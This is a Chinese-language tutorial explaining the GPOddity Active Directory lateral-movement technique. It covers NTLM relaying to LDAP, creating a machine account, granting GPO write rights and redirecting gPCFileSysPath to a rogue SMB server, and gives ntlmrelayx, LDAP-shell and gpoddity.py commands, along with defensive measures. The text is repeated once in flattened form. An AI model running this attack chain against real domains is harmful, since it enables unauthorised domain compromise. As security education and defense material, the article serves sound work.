一种基于NTLM中间人的AD域横向移动方法
字数 1697 2025-08-24 07:48:10

基于NTLM中间人的AD域横向移动方法:GPOddity攻击详解

1. 概述

本文介绍了一种新型的Active Directory(AD)域横向移动方法,通过NTLM中间人攻击滥用组策略对象(GPO)权限实现域内权限提升。该方法利用gPCFileSysPath属性欺骗技术,克服了传统GPO攻击工具在NTLM中继场景下的局限性。

2. 背景知识

2.1 组策略(GPO)基础

组策略是AD域中用于集中管理用户和计算机配置的机制,由两部分组成:

  1. 组策略容器(GPC)

    • LDAP对象,存储GPO元数据和权限配置
    • 标识符格式:CN={GUID},CN=Policies,CN=System,DC=domain,DC=com
  2. 组策略模板(GPT)

    • SMB共享中的文件夹,存储实际策略内容
    • 路径格式:\\domain.com\SYSVOL\domain.com\Policies\{GUID}

默认刷新频率:

  • 计算机和用户:每90分钟
  • 域控制器:每5分钟

2.2 传统GPO攻击方法

传统GPO攻击需要:

  1. 完全控制对目标GPO有写权限的用户账户
  2. 修改GPC的LDAP属性(版本号和扩展名)
  3. 修改GPT中的ScheduledTasks.xml文件注入恶意任务

局限性:

  • 需要知道用户密码或NT哈希
  • 在NTLM中继场景下无法修改SYSVOL共享中的GPT文件

3. 新型攻击方法:gPCFileSysPath欺骗

3.1 核心思路

通过修改GPC的gPCFileSysPath属性,将GPT位置重定向到攻击者控制的SMB服务器:

  1. 获取对GPC的写权限(通过NTLM中继)
  2. 克隆合法GPT内容并注入恶意任务
  3. 修改gPCFileSysPath指向攻击者服务器
  4. 等待目标应用GPO时连接攻击者服务器获取恶意GPT
  5. 执行后恢复原始GPC属性

3.2 攻击步骤详解

3.2.1 初始访问

  1. 通过以下方式获取中间人位置:

    • Responder
    • MitM6
    • ADIDNS(需要域权限)
  2. 使用ntlmrelayx中继NTLM认证到LDAP:

    ntlmrelayx -t 'ldaps://DC_IP' -wh 'attacker_IP:8080' --http-port '80,8080' -i
    

3.2.2 权限提升

  1. 通过LDAP Shell创建计算机账户:

    add_computer ATTACKER$ Password123
    
  2. 授予计算机账户对目标GPO的写权限:

    write_gpo_dacl ATTACKER$ {GPO_GUID}
    

3.2.3 实施GPOddity攻击

python3 gpoddity.py \
  --gpo-id 'GPO_GUID' \
  --domain 'domain.com' \
  --username 'ATTACKER$' \
  --password 'Password123' \
  --command '恶意命令' \
  --rogue-smbserver-ip '攻击者IP' \
  --rogue-smbserver-share '共享名'

3.3 技术难点与解决方案

  1. SMB身份验证问题

    • 域计算机会拒绝匿名SMB访问
    • 解决方案:实现NETLOGON验证获取会话密钥
  2. 安全协商验证

    • Windows默认启用FSCTL_VALIDATE_NEGOTIATE_INFO
    • 解决方案:使用有效计算机账户通过NETLOGON获取签名密钥
  3. NETLOGON安全要求

    • 需要安全RPC通道(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
    • 解决方案:配置签名和密封的RPC通信

4. 针对用户GPO的特殊情况

当GPO链接到用户而非计算机时:

  1. 用户首先连接获取gpt.ini
  2. 域控制器随后尝试连接获取其他文件
  3. 第二次连接通常会失败(可能由于UNC加固)

解决方案:

  • 使用--gpo-type user--no-smb-server参数
  • 在已加入域的计算机上托管恶意GPT

5. 防御措施

  1. 保护敏感账户

    • 将对GPO的写权限限制给专用管理账户
    • 将这些账户加入"Protected Users"组(禁用NTLM认证)
  2. 服务加固

    • 在LDAP服务上启用签名和通道绑定
    • 启用SMB签名
  3. 监控与检测

    • 监控gPCFileSysPath属性的异常修改
    • 检查GPO版本号的异常变化

6. GPOddity工具特点

  1. 优势

    • 支持NTLM中继场景
    • 不直接修改原始GPT文件,降低风险
    • 攻击后自动清理,隐蔽性高
  2. 限制

    • 用户GPO需要已加入域的SMB服务器
    • 依赖NETLOGON协议获取会话密钥

7. 总结

本文介绍的攻击方法通过滥用gPCFileSysPath属性,成功实现了在NTLM中继场景下的GPO滥用,突破了传统工具的限制。这种技术再次证明了AD域中权限配置和认证机制安全的重要性,特别是对于组策略这种高价值目标的管理。

基于NTLM中间人的AD域横向移动方法:GPOddity攻击详解 1. 概述 本文介绍了一种新型的Active Directory(AD)域横向移动方法,通过NTLM中间人攻击滥用组策略对象(GPO)权限实现域内权限提升。该方法利用 gPCFileSysPath 属性欺骗技术,克服了传统GPO攻击工具在NTLM中继场景下的局限性。 2. 背景知识 2.1 组策略(GPO)基础 组策略是AD域中用于集中管理用户和计算机配置的机制,由两部分组成: 组策略容器(GPC) : LDAP对象,存储GPO元数据和权限配置 标识符格式: CN={GUID},CN=Policies,CN=System,DC=domain,DC=com 组策略模板(GPT) : SMB共享中的文件夹,存储实际策略内容 路径格式: \\domain.com\SYSVOL\domain.com\Policies\{GUID} 默认刷新频率: 计算机和用户:每90分钟 域控制器:每5分钟 2.2 传统GPO攻击方法 传统GPO攻击需要: 完全控制对目标GPO有写权限的用户账户 修改GPC的LDAP属性(版本号和扩展名) 修改GPT中的 ScheduledTasks.xml 文件注入恶意任务 局限性: 需要知道用户密码或NT哈希 在NTLM中继场景下无法修改SYSVOL共享中的GPT文件 3. 新型攻击方法:gPCFileSysPath欺骗 3.1 核心思路 通过修改GPC的 gPCFileSysPath 属性,将GPT位置重定向到攻击者控制的SMB服务器: 获取对GPC的写权限(通过NTLM中继) 克隆合法GPT内容并注入恶意任务 修改 gPCFileSysPath 指向攻击者服务器 等待目标应用GPO时连接攻击者服务器获取恶意GPT 执行后恢复原始GPC属性 3.2 攻击步骤详解 3.2.1 初始访问 通过以下方式获取中间人位置: Responder MitM6 ADIDNS(需要域权限) 使用ntlmrelayx中继NTLM认证到LDAP: 3.2.2 权限提升 通过LDAP Shell创建计算机账户: 授予计算机账户对目标GPO的写权限: 3.2.3 实施GPOddity攻击 3.3 技术难点与解决方案 SMB身份验证问题 : 域计算机会拒绝匿名SMB访问 解决方案:实现NETLOGON验证获取会话密钥 安全协商验证 : Windows默认启用 FSCTL_VALIDATE_NEGOTIATE_INFO 解决方案:使用有效计算机账户通过NETLOGON获取签名密钥 NETLOGON安全要求 : 需要安全RPC通道(RPC_ C_ AUTHN_ LEVEL_ PKT_ PRIVACY) 解决方案:配置签名和密封的RPC通信 4. 针对用户GPO的特殊情况 当GPO链接到用户而非计算机时: 用户首先连接获取 gpt.ini 域控制器随后尝试连接获取其他文件 第二次连接通常会失败(可能由于UNC加固) 解决方案: 使用 --gpo-type user 和 --no-smb-server 参数 在已加入域的计算机上托管恶意GPT 5. 防御措施 保护敏感账户 : 将对GPO的写权限限制给专用管理账户 将这些账户加入"Protected Users"组(禁用NTLM认证) 服务加固 : 在LDAP服务上启用签名和通道绑定 启用SMB签名 监控与检测 : 监控 gPCFileSysPath 属性的异常修改 检查GPO版本号的异常变化 6. GPOddity工具特点 优势 : 支持NTLM中继场景 不直接修改原始GPT文件,降低风险 攻击后自动清理,隐蔽性高 限制 : 用户GPO需要已加入域的SMB服务器 依赖NETLOGON协议获取会话密钥 7. 总结 本文介绍的攻击方法通过滥用 gPCFileSysPath 属性,成功实现了在NTLM中继场景下的GPO滥用,突破了传统工具的限制。这种技术再次证明了AD域中权限配置和认证机制安全的重要性,特别是对于组策略这种高价值目标的管理。